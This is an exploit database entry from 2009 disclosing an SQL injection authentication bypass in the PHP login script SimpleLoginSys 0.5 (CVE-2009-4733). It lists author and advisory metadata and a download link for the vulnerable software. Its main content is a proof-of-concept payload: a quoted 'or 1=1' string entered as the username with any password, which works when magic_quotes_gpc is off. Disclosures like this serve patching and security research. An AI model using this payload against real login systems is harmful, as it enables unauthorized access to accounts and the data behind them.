SimpleLoginSys 0.5 - Authentication Bypass

Author: SirGod
type: webapps
platform: php
port: 
date_added: 2009-08-02 
date_updated:  
verified: 1 
codes: OSVDB-63093;CVE-2009-4733;OSVDB-56747 
tags: 
aliases:  
screenshot_url:  
application_url: 

####################################################################################
[+] SimpleLoginSys v0.5 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
[+] download : http://sourceforge.net/projects/simplesiteadmin/files/simpleloginsys/SimpleLoginSys%20v0.5/simpleloginsys0.5.zip/download

####################################################################################

[+] SQL Injection (Auth Bypass)

 - Note : magic_quotes_gpc = off

 - PoC

    Username : [REAL_NICKNAME] ' or ' 1=1
    Password : anything

####################################################################################

# milw0rm.com [2009-08-03]